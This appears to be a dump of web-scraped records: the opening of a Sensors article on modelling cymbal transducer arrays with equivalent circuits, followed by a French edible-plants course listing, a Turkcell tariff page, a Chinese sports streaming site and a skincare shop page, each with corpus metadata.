Editors\nPropose a Topic\nAuthor Services\nInformation\nPublishing\nOpen Access Policy\nEditorial Process\nPublication Ethics\nSpecial Issues Guidelines\nArticle Processing Charge\nPublishing Services\nGuidelines\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nPartnerships\nSocieties\nConferences\nInstitutional Open\nAccess Program\nAbout\nCompany\nAbout Us\nMission\nImpact\nHistory\nLeadership\nOffice Locations\nAwards\nCareers\nProducts\nMedia\nNews\nBlog\nContact\nSupport\nSend Feedback\nSearch\nOpen mobile navigation\nHome\nJournals\nSensors\nVolume 22\nIssue 22\n10.3390/s22228743\nSensorsSensors\nOpen Cite\nCite\nOpen Share\nShare\nDownload PDF\nMore formats\nAbstractIntroductionEquivalent Circuit of a Cymbal ArrayValidation of the Equivalent Circuit AnalysisEfficiency of the Equivalent Circuit AnalysisConclusionsAuthor ContributionsFundingInstitutional Review Board StatementInformed Consent StatementData Availability StatementConflicts of InterestReferencesArticle Metrics\nArticle\n12 November 2022\nEquivalent Circuit to Analyze the Transmitting Characteristics of a Cymbal Array\nHayeong Shim1\n,\nKyungseop Kim2\n,\nHeeseon Seo2\nand\nYongrae Roh1,*\n1\nSchool of Mechanical Engineering, Kyungpook National University, Daegu 41566, Korea\n2\nAgency for Defense Development, Changwon 51678, Korea\n*\nAuthor to whom correspondence should be addressed.\nSensors2022, 22(22), 8743;https://doi.org/10.3390/s22228743\nThis article belongs to the Special Issue The Development of Piezoelectric Sensors and Actuators\nVersion Notes\nOrder Reprints\nAbstract\nA cymbal transducer has a simple structure consisting of a piezoceramic disk and metallic caps and has broadband characteristics when built as an array. The finite element method (FEM) is generally used to analyze the characteristics of acoustic transducers. However, the FEM requires a longer analysis time as the model becomes larger, which makes it limited and less efficient for analyzing the cymbal array. In this study, a new equivalent circuit with higher efficiency and accuracy, comparable to that of the FEM, was proposed to analyze the performance of cymbal arrays. The equivalent circuit for the array was constructed by connecting the equivalent circuits of individual cymbal transducers in parallel with a radiation impedance matrix that included both the self- and mutual radiation characteristics of the array. The validity of the new equivalent circuit was verified by measuring the transmitting voltage response of a cymbal array specimen and comparing it with that calculated using the circuit. The comparison confirmed the efficiency of the equivalent circuit in analyzing the characteristics of the cymbal array. The proposed equivalent circuit can facilitate the design of a large array of cymbal transducers.\nKeywords:\ncymbal transducer; equivalent circuit; broadband transducer; cymbal array\n1. Introduction\nA cymbal transducer is a miniaturized version of the class V flextensional transducer [1]. It consists of a piezoceramic disk and a pair of metal caps and has a low resonant frequency considering its small size. Broadband characteristics can be obtained when cymbals are arranged and used as an array [2].\nSince the development of the cymbal transducer by Newnham et al. in the 1990s, various studies have been conducted by many researchers [3,4,5,6,7,8]. The performance of cymbal transducers has generally been analyzed using the finite element method (FEM). However, an equivalent circuit for cymbal transducers has recently been developed [9,10]. However, in the case of the cymbal array, an equivalent circuit for exclusive use has not yet been developed, so the FEM or experimental analysis methods are still mainly used. For instance, Tressler et al. experimentally analyzed and compared the transmitting voltage response (TVR) of a cymbal array for different constituent materials and construction methods [11]. Zhang et al. analyzed the displacement of each element constituting a cymbal array and calculated the TVR while changing the spacing between the elements using the FEM [12]. Rajapan et al. fabricated cymbal array specimens with various encapsulation materials and measured their acoustic properties [13]. Du et al. analyzed the acoustic properties of a cymbal array using an experimental method [14]. Kim et al. derived an optimized array structure to maximize the bandwidth of a cymbal array using the FEM [15].\nThe analysis of the acoustic characteristics of the cymbal array as conducted in all these studies using the FEM or the experimental method is very time-consuming. The cymbal transducer is small compared to the wavelength at the resonant frequency. This small and curved geometry of the cymbal requires elaborate modeling and meshing, which prolongs the analysis time so much that using the FEM to analyze a cymbal array larger than a 3 \u00d7 3 array would hardly ever be feasible.\nThere are positive indications that the difficulty of analyzing the cymbal array using the FEM can be resolved by developing a dedicated equivalent circuit, as inspired by the study conducted by Pyo and Roh [16]. Several related studies have been conducted. As a case in point, Zhang et al. analyzed the cymbal array using the equivalent circuit method (ECM). However, the discrepancy between the measured and analyzed TVR spectra was not ignorable. This was attributed to the inaccuracy in the mutual radiation impedance between the cymbals in the array [17]. It is necessary to supplement the equivalent circuit by deriving an accurate radiation impedance matrix dedicated to the cymbal array.\nIn the case of cymbal arrays, the mutual radiation impedance has a significantly large impact on the acoustic characteristics of the array because a large number of transducers, smaller than the wavelength, are arranged within a narrow area [18]. A typical equivalent circuit does not reflect such mutual radiation impedance but considers only the self-radiation impedance of each transducer [19]. The mutual radiation impedance in an array has been studied in several studies using an equivalent circuit [20,21]. Oguz et al. analyzed the effect of mutual radiation impedance on each cell in a capacitive micromachined ultrasonic transducer array using an equivalent circuit [22]. Akhbari et al. developed equivalent circuits for arrays of curved and flat piezoelectric micromachined ultrasonic transducers and analyzed the radiation characteristics of arrays using the circuits [23]. Pyo and Roh designed a structure that maximized the bandwidth of a planar Tonpilz array using an equivalent circuit that included the mutual radiation impedance [16]. Sim et al. developed an equivalent circuit model that could predict the acoustic response of a cylindrical Tonpilz array by considering the mutual radiation impedance [24]. However, all these studies were related to arrays composed of transducers with a single radiating surface. Because the upper and lower caps of a cymbal transducer act as independent radiating surfaces, as noted in Zhang\u2019s work [17], the radiation impedance matrix used in previous studies is unsuitable for a cymbal array. The dual piston model in [17] was observed to be insufficient to express the interaction between elements in a cymbal array because the comparison between the measured and calculated results showed considerable differences.\nThis study proposes a new equivalent circuit that can accurately and efficiently resolve this", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/5e677b51-6c41-440b-b18b-ce3f7435494c", "content_hash": "3915b3afbcd06b8a84dd05466cbe8330669ba937fc468a32641a36f718623d50", "created_at": "2026-03-28T05:11:11.245822554Z"} +{"id": "a46b76bb-00d1-4dba-96c6-a43ff233c4eb", "source": "brain", "text": "Stage plantes sauvages comestibles du 01 au 02 Mai 2026 \u00e0 71110 Briant - Promonature\n\nStage plantes sauvages comestibles du 01 au 02 Mai 2026 \u00e0 71110 Briant - Promonature\nAller au contenu\nRechercher :\nRechercher\nRechercher\n0 \u20ac\nAccueil\nStages et formation\nBoutique\nNos activit\u00e9s\nFormation professionnelle\nBureau d\u2019\u00e9tudes botanique\nEdition Promonature\nDiagnostic de sols par les plantes bio-indicatrices\nActualit\u00e9\nPodcast\nPlantes et sant\u00e9\nLes m\u00e9dias en parlent\nNos partenaires\nContact\nRechercher :\nRechercher\nRechercher\n0 \u20ac\nAccueil\nStages et formation\nBoutique\nNos activit\u00e9s\nFormation professionnelle\nBureau d\u2019\u00e9tudes botanique\nEdition Promonature\nDiagnostic de sols par les plantes bio-indicatrices\nActualit\u00e9\nPodcast\nPlantes et sant\u00e9\nLes m\u00e9dias en parlent\nNos partenaires\nContact\nStage plantes sauvages comestibles du 01 au 02 Mai 2026 \u00e0 71110 Briant\nDate de l\u2019\u00e9v\u00e9nement :\n1 mai 2026\nHeure de l'\u00e9v\u00e9nement :\n9 h 00 min\nLieu de l'\u00e9v\u00e9nement :\nPromonature, Briant, 71110, France\nEvent Description\nDu 01 au 02 Mai 2026 \u00e0 Briant 71110\nPlantes sauvages comestibles\nAu c\u0153ur du Brionnais, accompagn\u00e9 de Delphine Suzor et G\u00e9rard Ducerf vous rencontrerez les plantes sauvages \u00e0 usages. Vous approfondirez vos connaissances afin de pratiquer des r\u00e9coltes \u00e9thiques, respectueuses et s\u00fbres puis vous les transformerez en une gastronomie simple et gourmande.\nDelphine Suzor & G\u00e9rard Ducerf vous guideront pour acqu\u00e9rir les bases n\u00e9cessaires \u00e0 une pratique autonome d\u2019identification, r\u00e9colter les bonnes esp\u00e8ces en toute confiance, les diff\u00e9rentes parties utilisables, dans le respect de l\u2019environnement et de la biodiversit\u00e9. Ils vous apprendront \u00e0 les identifier, savoir quand les r\u00e9colter et connaitre les modes de pr\u00e9paration.\nUn stage pour tout public sans pr\u00e9requis et pour les personnes souhaitant mieux comprendre et utiliser les plantes sauvages pr\u00e9sentes sur son jardin, ses parcelles, porteur de projet de tables d\u2019h\u00f4tes.\nLes stagiaires vont :\nSe familiariser avec les bases de la d\u00e9termination botanique et apprendre \u00e0 reconnaitre quelques esp\u00e8ces comestibles\nAcqu\u00e9rir les pr\u00e9alables \u00e0 des cueillettes en s\u00e9curit\u00e9 et respectueuses de l\u2019environnement\nD\u00e9couvrir les diff\u00e9rentes fa\u00e7ons de cuisiner les esp\u00e8ces sauvages comestibles\nApprendre \u00e0 int\u00e9grer dans son quotidien l\u2019utilisation des plantes sauvages\n\u27a1\ufe0f 2 jours de stage en cuisine / terrain : th\u00e9orie et mise en pratique\n\ufe0fRetrouvez le programme du stage en cliquant sur le lien ci-dessous:\nStage Plantes sauvages comestibles et cuisine 2 Jours \u2013 2026\nMerci de prendre connaissance des conditions g\u00e9n\u00e9rales de ventes et du r\u00e8glement int\u00e9rieur avant inscription \u00e0 une session de formation. Toute commande de formation aupr\u00e8s de la soci\u00e9t\u00e9 implique l\u2019acceptation sans r\u00e9serve du client des pr\u00e9sentes Conditions G\u00e9n\u00e9rales de Vente.\nConditions G\u00e9n\u00e9rales de Vente Formation\nR\u00e8glement int\u00e9rieur Formation\nInformations sur le stage\n\u200d Formateur: Delphine Suzor et G\u00e9rard Ducerf\n\ufe0f Lieu: Promonature \u2013 11 Impasse de la Goutte 71110 Briant\n\ufe0f Horaires: 9h00 \u2013 17h30 (pause de 1h30 pour la d\u00e9gustation des plats pr\u00e9par\u00e9s)\nCo\u00fbt de la formation:\nFinancement personnel : 192 \u20ac TTC \u27a1\ufe0f Possibilit\u00e9 de paiement en plusieurs fois sur demande. Merci de le mentionner dans le formulaire d\u2019inscription en bas de cette page.\nFinancement Viv\u00e9a : 350\u20ac TTC soit 25\u20ac/heure \u27a1\ufe0f Les personnes \u00e9ligibles doivent nous le signaler \u00e0 l\u2019aide du formulaire d\u2019inscription en bas de cette page.\nFinancement OPCO, FAF, Employeur : 280\u20ac TTC soit 20\u20ac/heure \u27a1\ufe0f Les personnes \u00e9ligibles doivent nous le signaler \u00e0 l\u2019aide du formulaire d\u2019inscription en bas de cette page.\nLes inscriptions sont obligatoires et doivent \u00eatre faites au plus tard avant le 26 Avril 2026.\nMat\u00e9riel \u00e0 pr\u00e9voir : V\u00eatements d\u2019ext\u00e9rieur en fonction de la m\u00e9t\u00e9o, chaussures de marche et de quoi prendre des notes, \u00e9ventuellement appareil photo. Si vous poss\u00e9dez une flore de terrain ainsi que des livres de recettes sur les plantes n\u2019h\u00e9sitez pas \u00e0 les apporter.\n\ufe0f H\u00e9bergement \u00e0 votre charge : Liste des h\u00e9bergements\n\ufe0f Repas compris le midi : D\u00e9gustation des pr\u00e9parations faites pendant le stage.\nTransport et acc\u00e8s : Plan\nLes stagiaires en situation d\u2019handicap sont invit\u00e9s \u00e0 prendre contact avec Promonature pour une \u00e9tude au cas par cas de leurs besoins. Nos formations avec pratique sur le terrain ne sont pas accessibles aux personnes en situation de certains handicap moteurs.\nNombre de stagiaire minimum pour le maintien de la formation : 8\nPour information :\nPROMONATURE est enregistr\u00e9e comme organisme de formation sous le num\u00e9ro 27710271071 et est certifi\u00e9 QUALIOPI depuis le 06/02/2024. Renseignez vous sur les possibilit\u00e9s de financement aupr\u00e8s de votre employeur, votre comit\u00e9 d\u2019entreprise, Viv\u00e9a (formation agricole pour adulte), France Travail ou la structure qui vous accompagne pour votre retour \u00e0 l\u2019emploi. Utilisez notre formulaire de demande de renseignement ci-dessous si besoin. Vous pouvez trouver votre OPCO ICI.\nTaux de satisfaction moyen 2024 93.75%\nFormulaire d\u2019inscription\nImportant : apr\u00e8s avoir soumis votre formulaire, vous devez recevoir un retour sur la page avec le message \u00ab Votre message a \u00e9t\u00e9 envoy\u00e9 \u00bb. Si ce n\u2019est pas le cas ou si vous ne recevez pas de confirmation d\u2019inscription dans les 48h, merci de contacter Magali au 06 99 21 65 74 ou \n\u2190 Retour\nMerci pour votre r\u00e9ponse. \u2728\nNom et pr\u00e9nom(obligatoire)\nE-mail(obligatoire)\nT\u00e9l\u00e9phone(obligatoire)\nAdresse (obligatoire)\nDate de naissance (AAAA-MM-JJ)(obligatoire)\nFinancement envisag\u00e9(obligatoire)\nFinancement personnel Financement autre organisme (OPCO) Financement Viv\u00e9a Financement employeur Autre\nMessage et/ou pr\u00e9cision\nSp\u00e9cificit\u00e9s m\u00e9dicales / am\u00e9nagement sp\u00e9cifique handicap \u00e0 demander\nJ'ai pris connaissance des conditions g\u00e9n\u00e9rales de vente et je les accepte.(obligatoire)\nJ'ai pris connaissance du r\u00e8glement int\u00e9rieur et je l'accepte.(obligatoire)\nEnvoyer\n\u0394\nTicket Options\nAdulte\nStage 2 jours\n192,00\u20ac\nTotal Price : 0,00\u20ac\nRegister For This Event\nRegister For This Event\nTotal Seats\n10\nD\u00e9tails de l\u2019horaire de l\u2019\u00e9v\u00e9nement\n1 mai 2026 9 h 00 min-2 mai 2026 17 h 30 min\nLieu de l'\u00e9v\u00e9nement\nPromonature, Briant, 71110, France\nFind In Map\nLieu de l'\u00e9v\u00e9nement\nPartager cet l\u2019\u00e9v\u00e9nement\nAjouter un calendrier\nGoogle Yahoo Outlook Apple\nPanier\nPromonature au service de la nature depuis 1988 : Formations professionnelles, stages botaniques, inventaires floristiques et conseils des milieux cultiv\u00e9s et naturels avec la m\u00e9thode de Diagnostic de sol par les plantes bio-indicatrices, librairie des \u00e9ditions Promonature et autre.\n\u00a9 2026 Promonature et JFG Cr\u00e9ation\nX\nRetour en haut", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/a46b76bb-00d1-4dba-96c6-a43ff233c4eb", "content_hash": "86d7a63eb0dc3d0a59755354a8315c27f34af1a130192f1709f5ab3357067eab", "created_at": "2026-03-28T05:11:11.185786202Z"} +{"id": "4cffae1e-018a-435f-98b3-d0945ab76369", "source": "brain", "text": "Turkcell Esnaf 2 - Mevcut M\u00fc\u015fteri 24 Ay\n\nTurkcell Esnaf 2 - Mevcut M\u00fc\u015fteri 24 Ay\nBireysel\nKurumsal\nsuperonline.net\nPaketler\nYeni Turkcell'liler\nEsnaf ve K\u00fc\u00e7\u00fck \u0130\u015fletmeler\nOrta ve B\u00fcy\u00fck \u0130\u015fletmeler\nT\u00fcm Yeni Turkcell'liler\nMevcut Turkcell'liler\nEsnaf ve K\u00fc\u00e7\u00fck \u0130\u015fletmeler\nOrta ve B\u00fcy\u00fck \u0130\u015fletmeler\nEk Paketler\nYurtd\u0131\u015f\u0131nda Kullan\u0131m\nYurtd\u0131\u015f\u0131n\u0131 Arama\nT\u00fcm Mevcut Turkcell'liler\nMobil Wifi\nEsnaf ve K\u00fc\u00e7\u00fck \u0130\u015fletmeler\nOrta ve B\u00fcy\u00fck \u0130\u015fletmeler\nEk Paketler\nT\u00fcm Mobil Wifi\nSuperbox\nAna Paketler\nEk Paketler\nT\u00fcm Superbox\nM2M\nKampanyalar\nMobil\nMobil Wifi\nSuperbox\n\u0130\u015f Turkcell Plus\nT\u00fcm Kampanyalar\nTurkcell Platinum\nT\u00fcm Paketler\nDijital \u0130\u015e Servisleri\nKesintisiz Eri\u015fim\nYeni Nesil Veri Merkezi\nBulut (Cloud) \u00c7\u00f6z\u00fcmleri\nSiber G\u00fcvenlik\nY\u00f6netilen Hizmetler\nNesnelerin \u0130nterneti (IoT)\nB\u00fcy\u00fck Veri & Analitik\n\u0130\u015f Uygulamalar\u0131\ne-D\u00f6n\u00fc\u015f\u00fcm\nTurkcell E\u011fitim Y\u00f6netim Sistemi\nKurumsal Cihaz Kiralama\nMicrosoft 365\nAk\u0131ll\u0131 Faks\nMobil Santral\nT\u00fcm \u0130\u015f Uygulamalar\u0131\nYeni Nesil Teknolojiler\nSekt\u00f6rler\nFinans\nLojistik ve Ula\u015f\u0131m\nBelediyeler\nTurizm\nE\u011fitim\nSa\u011fl\u0131k\nPerakende\n\u00dcretim\nEnerji\nT\u00fcm Sekt\u00f6rler\nT\u00fcm Dijital \u0130\u015e Servisleri\n\u0130nternet & Telefon\nT\u00fcm \u0130nternet & Telefon\nCihazlar\nDonan\u0131m & Yaz\u0131l\u0131m \u00c7\u00f6z\u00fcmleri\nYeni Nesil Finansman \u00c7\u00f6z\u00fcmleri\nCihazlar\nCihaz Kiralama\nAk\u0131ll\u0131 Telefonlar\nTablet & Bilgisayar\nCihaz Kampanyalar\u0131\nT\u00fcm Cihazlar\nT\u00fcm Cihazlar\n\u0130\u015eTurkcell Plus\n\u015eirketinize \u00d6zel\n\u00c7al\u0131\u015fanlara \u00d6zel\nT\u00fcm \u0130\u015eTurkcell Plus\n\u0130\u015e Ortakl\u0131\u011f\u0131\nT\u00fcm \u0130\u015e Ortakl\u0131\u011f\u0131\nH\u0131zl\u0131 \u0130\u015flemler\n0\nPaketler\nDijital \u0130\u015e Servisleri\n\u0130nternet & Telefon\nCihazlar\n\u0130\u015eTurkcell Plus\n\u0130\u015e Ortakl\u0131\u011f\u0131\nH\u0131zl\u0131 \u0130\u015flemler\nGeri\nT\u00fcm\nBireyselKurumsal\nEsnaf 2 - Mevcut M\u00fc\u015fteri 24 Ay\n\u200bYeni hat alarak veya numaras\u0131n\u0131 ta\u015f\u0131yarak Turkcell'e gelen esnaflar 12 veya 24 ay taahh\u00fct verdiklerinde her y\u00f6ne bol dakika, bol internet ve SMS paketine \u00f6zel indirimlerle sahip oluyor, \u00fcstelik sabah 7 ak\u015fam 7 saatleri aras\u0131nda sabit y\u00f6nlere s\u0131n\u0131rs\u0131z dakikalarla esnaflar rahat rahat konu\u015fuyor, i\u015flerini kolayca tamaml\u0131yor, kafalar\u0131 rahat ediyor.\nEsnaf 2 - Mevcut M\u00fc\u015fteri 24 Ay\n\u200bYeni hat alarak veya numaras\u0131n\u0131 ta\u015f\u0131yarak Turkcell'e gelen esnaflar 12 veya 24 ay taahh\u00fct verdiklerinde her y\u00f6ne bol dakika, bol internet ve SMS paketine \u00f6zel indirimlerle sahip oluyor, \u00fcstelik sabah 7 ak\u015fam 7 saatleri aras\u0131nda sabit y\u00f6nlere s\u0131n\u0131rs\u0131z dakikalarla esnaflar rahat rahat konu\u015fuyor, i\u015flerini kolayca tamaml\u0131yor, kafalar\u0131 rahat ediyor.\nYILLIK ABONEL\u0130K\nBu paket abone al\u0131m\u0131na kapal\u0131d\u0131r, l\u00fctfen di\u011fer paketlerimizi inceleyiniz.\n41,77TL\nPaket Detaylar\u0131\nFaydalar\nDi\u011fer Sat\u0131n Alma Se\u00e7enekleri\nS\u0131k\u00e7a Sorulan Sorular\nDaha Fazla Bilgi\nHakk\u0131m\u0131zda\nDijital \u0130\u015f Servisleri\n\u0130\u015flem Merkezi\nKurumsal Destek\nT\u00fcketici \u015eikayetleri\nBizi Takip Edin\nDil Tercihi\nT\u00fcrk\u00e7e\nHakk\u0131m\u0131zda\nKurumsal \u0130leti\u015fim\n\u0130leti\u015fim\nM\u00fc\u015fteri Memnuniyeti Politikas\u0131\nGenel Bak\u0131\u015f\nTurkcell GSYF\nKurumsal \u0130leti\u015fim ve S\u00fcrd\u00fcr\u00fclebilirlik\nYat\u0131r\u0131mc\u0131 \u0130li\u015fkileri\nToptan\nAfet Tedbirleri\n\u0130\u015ftiraklerimiz ve Ba\u011fl\u0131 Ortakl\u0131klar\u0131m\u0131z\nT\u00fcm\u00fcn\u00fc\nG\u00f6r\nDijital \u0130\u015f Servisleri\nKalite Politikas\u0131\nKesintisiz Eri\u015fim\nYeni Nesil Veri Merkezi\nBulut (Cloud) \u00c7\u00f6z\u00fcmleri\nSiber G\u00fcvenlik\nY\u00f6netilen Hizmetler\nNesnelerin \u0130nterneti (IoT)\nB\u00fcy\u00fck Veri & Analitik\n\u0130\u015f Uygulamalar\u0131 ile e-D\u00f6n\u00fc\u015f\u00fcm\nYeni Nesil Teknolojiler\nT\u00fcm\u00fcn\u00fc\nG\u00f6r\n\u0130\u015flem Merkezi\nGiri\u015f Yap\nNumara Ta\u015f\u0131ma & Yeni Hat\nFatura Sorgula & \u00d6de\nTL & Paket Y\u00fckle\nSipari\u015f Takibi\nKurumsal Destek\nYurt D\u0131\u015f\u0131\nS\u0131k\u00e7a Sorulan Sorular - Fatural\u0131 Hat\nS\u0131k\u00e7a Sorulan Sorular - Haz\u0131r Kart\nT\u00fcketici \u015eikayetleri\n\u015eikayet Talebi Olu\u015fturma\n\u015eikayet Takibi\nAlacak Sorgulama, TL \u0130ade Talep\u200b\nBTK \u0130ade Duyurusu\nT\u00fcrk\u00e7e\nEnglish\n\u0627\u0644\u0639\u0631\u0628\u064a\u0629\n\u0440\u0443\u0441\u0441\u043a\u0438\u0439\nBizi Takip Edin\nFizy\nTurkcell Superonline\nPlatinum\nBiP\nTV+\nLifebox\nPaycell\nGame+\nGnctrkcll\nTurkcell Global Bilgi\nWiyo\nTurkcell Gelece\u011fi Yazanlar\nTurkcell Ak\u0131ll\u0131 Bulut\nGizlilik ve G\u00fcvenlik\n\u00a9 2026 Turkcell", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/4cffae1e-018a-435f-98b3-d0945ab76369", "content_hash": "c595ca67faf2d582d259c83805e9c71096d1ca98c462ef423b7c917ab3f3d953", "created_at": "2026-03-28T05:11:11.176314330Z"} +{"id": "93e77792-7a01-4f28-b560-b8a7b8aec071", "source": "brain", "text": "\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u76f4\u64ad_\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u8d5b\u7a0b_\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u5373\u65f6\u6bd4\u5206-\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\n\n\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u76f4\u64ad_\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u8d5b\u7a0b_\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u5373\u65f6\u6bd4\u5206-\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\nToggle navigation\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\n\u9996\u9875\n\u8db3\u7403\u76f4\u64ad\n\u7bee\u7403\u76f4\u64ad\n\u82f1\u8d85\u76f4\u64ad\n\u6b27\u51a0\u676f\u76f4\u64ad\n\u897f\u7532\u76f4\u64ad\n\u6fb3\u8d85\u76f4\u64ad\n\u5fb7\u7532\u76f4\u64ad\n\u6cd5\u7532\u76f4\u64ad\n\u4e2d\u8d85\u76f4\u64ad\n\u610f\u7532\u76f4\u64ad\n\u6b27\u8054\u76f4\u64ad\n\u6b27\u534f\u8054\u76f4\u64ad\n\u4e16\u6b27\u9884\u76f4\u64ad\n\u4e16\u4e9a\u9884\u76f4\u64ad\nNBA\u76f4\u64ad\nCBA\u76f4\u64ad\n\u8db3\u7403\u65b0\u95fb\n\u7bee\u7403\u65b0\u95fb\n\u8db3\u7403\u89c6\u9891\n\u7bee\u7403\u89c6\u9891\n\u9996\u9875\n\u7bee\u7403\u76f4\u64ad\n\u8db3\u7403\u76f4\u64ad\n\u8db3\u7403\u65b0\u95fb\n\u7bee\u7403\u65b0\u95fb\n\u8db3\u7403\u89c6\u9891\n\u7bee\u7403\u89c6\u9891\n\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b \u76f4\u64ad\n< >\n\u4eca\u65e5\u6cd5\u8bed\u56fd\u5bb6\u8fd0\u52a8\u4f1a\u8db3\u7403\u8d5b\u8d5b\u7a0b\u8868\n\u6682\u65e0\u8d44\u6599\n\u660e\u65e5\u672a\u5f00\u8d5b\u8d5b\u7a0b\u8868\n\u8db3\u7403\u65b0\u95fb\n\u5df4\u897f\u8fb9\u950b\u52a0\u5e03\u91cc\u57c3\u5c14\u91cd\u8fd4\u6d77\u6e2f\uff0c\u5415\u6587\u541b11\u53f7\u7403\u8863\u6709\u671b\u4f20\u627f\n\u82f1\u8d8524\u8f6e\uff0c\u5229\u7269\u6d664-1\u7ebd\u5361\u65af\u5c14\uff0c\u6770\u62c9\u5fb7\u79f0\u57c3\u57fa\u8482\u514b\u50cf\u6258\u96f7\u65af\n\u6b66\u6c49\u4e09\u9547\u5b98\u65b9\u5ba3\u5e03\uff1a\u5580\u9ea6\u9686\u56fd\u811a\u4e9a\u59c6\u5361\u59c6\u52a0\u76df\uff0c\u80fd\u5426\u52a9\u961f\u91cd\u8fd4\u4e2d\u8d85\u8363\u5149\uff1f\n\u6b27\u51a0\u5c0f\u7ec4\u8d5b\u7b2c8\u8f6e\u5b8c\u7ed3\uff0c12\u573a\u5927\u6218\u60ac\u5ff5\u8fed\u8d77\uff01\n\u57c3\u5229\u5965\u7279\u503a\u52a1\u8fd8\u6e05\uff0cAC\u7c73\u5170\u7ba1\u7406\u5c42\u4e0d\u52a8\u8361\uff0c\u672a\u6765\u51e0\u5929\u5b9a\u65b0\u8463\u4e8b\u4f1a\n\u70ed\u95e8\u8054\u8d5b\nNBA CBA \u82f1\u8d85 \u6b27\u51a0\u676f \u897f\u7532 \u6fb3\u8d85 \u5fb7\u7532 \u6cd5\u7532 \u4e2d\u8d85 \u610f\u7532 \u6b27\u8054 \u6b27\u534f\u8054 \u6c99\u7279\u8d85 \u7f8e\u804c\u8054 \u65e5\u8db3\u8054 \u97e9\u8db3\u8054 \u4e2d\u7532 \u58a8\u897f\u8d85 \u5df4\u897f\u7532 NBA\u590f\u5b63\u8054\u8d5b \u4e2d\u5973\u8d85 \u65e5\u672c\u5929\u7687\u676f \u4e16\u4ff1\u676f \u6b27\u8d85\u676f FIBA\u4e9a\u6d32\u676f \u7537\u7bee\u6b27\u6d32\u676f \u7403\u4f1a\u53cb\u8c0a \u82f1\u8054\u676f \u4e16\u5357\u7f8e\u9884 WNBA \u4e16\u6b27\u9884 \u4e16\u4e9a\u9884 \u82cf\u8d85 \u8db3\u534f\u676f\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\n\u5173\u4e8e\u6211\u4eec \u8054\u7cfb\u6211\u4eec\n\u7f51\u7ad9\u5730\u56fe Copyright \u00a9 \u7248\u6743\u6240\u6709 2025\n\u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u6574\u5408\u8db3\u7403\u76f4\u64ad\u3001\u6b27\u51a0\u76f4\u64ad\u548c\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206\u7b49\u591a\u9879\u4f53\u80b2\u6570\u636e\uff0c\u4e3a\u7403\u8ff7\u63d0\u4f9b\u5168\u65b9\u4f4d\u7684\u8d5b\u4e8b\u4fe1\u606f\u5e73\u53f0\u3002 \u9ed1\u767d\u4f53\u80b2\u76f4\u64ad\u4ee5\u6b27\u51a0\u76f4\u64ad\u3001\u82f1\u8d85\u76f4\u64ad\u514d\u8d39\u76f4\u64ad\u89c6\u9891\u76f4\u64ad\u3001\u6377\u62a5\u6bd4\u5206\u8db3\u7403\u5373\u65f6\u6bd4\u5206\u7b49\u8d5b\u4e8b\u4e3a\u6838\u5fc3\u5185\u5bb9\uff0c\u63d0\u4f9b\u9ad8\u6e05\u8d5b\u4e8b\u76f4\u64ad\u3001\u4e13\u4e1a\u5206\u6790\u4e0e\u6743\u5a01\u62a5\u9053\uff0c\u8986\u76d6NBA\u3001\u6b27\u51a0\u3001\u82f1\u8d85\u76f4\u64ad\u7b49\u591a\u9879\u8d5b\u4e8b\u3002\u5e73\u53f0\u66f4\u65b0\u8fc5\u901f\u3001\u6570\u636e\u8be6\u5b9e\uff0c\u81f4\u529b\u4e8e\u4e3a\u7403\u8ff7\u6253\u9020\u5168\u9762\u3001\u6d41\u7545\u7684\u89c2\u8d5b\u4f53\u9a8c\uff0c\u8ba9\u4f53\u80b2\u7231\u597d\u8005\u968f\u65f6\u638c\u63e1\u6700\u65b0\u52a8\u6001\uff0c\u4eab\u53d7\u771f\u5b9e\u800c\u7cbe\u5f69\u7684\u4f53\u80b2\u4e16\u754c\u3002", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/93e77792-7a01-4f28-b560-b8a7b8aec071", "content_hash": "e02a7b55d1221c900840b560c716fb535b24ef5140b363a20c1df8c05005a860", "created_at": "2026-03-28T05:11:11.162985262Z"} +{"id": "9799bb96-f662-43a9-aa78-1e06a26de9e9", "source": "brain", "text": "tinted lip & cheek salve | i'm nature\n\ntinted lip & cheek salve | i'm nature\ntop of page\nHOME\nSHOP\nShop All\nCleanser\nToner-Serum\nMoisturizers\nSkincare Sets\nFace Massage Essentials\nLip Care\nDeodorant\nLimited Edition\nbe.come\nAccessories\nGift Card\nEvents\nWebinar\nBLOGS\nSkin Care Diary\nABOUT US\nAbout Us\nOur Philosophy\nOur Mission & DNA\nSustainability\nBBA Social Media\nFAQ\nTAKE A QUIZ\nShipping Policy\nReturn & Refund Policy\nPrivacy Policy\nTerms and Conditions\nContact Us\nSearch Results\nLoyalty\nMORE\nUse tab to navigate through the menu items.\nLog In\nSUBSCRIBE\nFOLLOW US\nStay up to date with all the latest information,\nproducts and discounts\nSUBSCRIBE\nThanks for submitting!\nCONTACT US\n8766 Wyngate Sunland California, 91040\n\nMARKETING\n\nABOUT US\nCUSTOMER SERVICE\n- About Us\n- Blogs\n- Contact Us\n- Testimonials\n- Privacy Policy\n- Terms & Conditions\n- Shipping Policy\n- Return Policy\nCopyright \u00a9 2025 bba organic LLC All Rights Reserved\nbottom of page", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/9799bb96-f662-43a9-aa78-1e06a26de9e9", 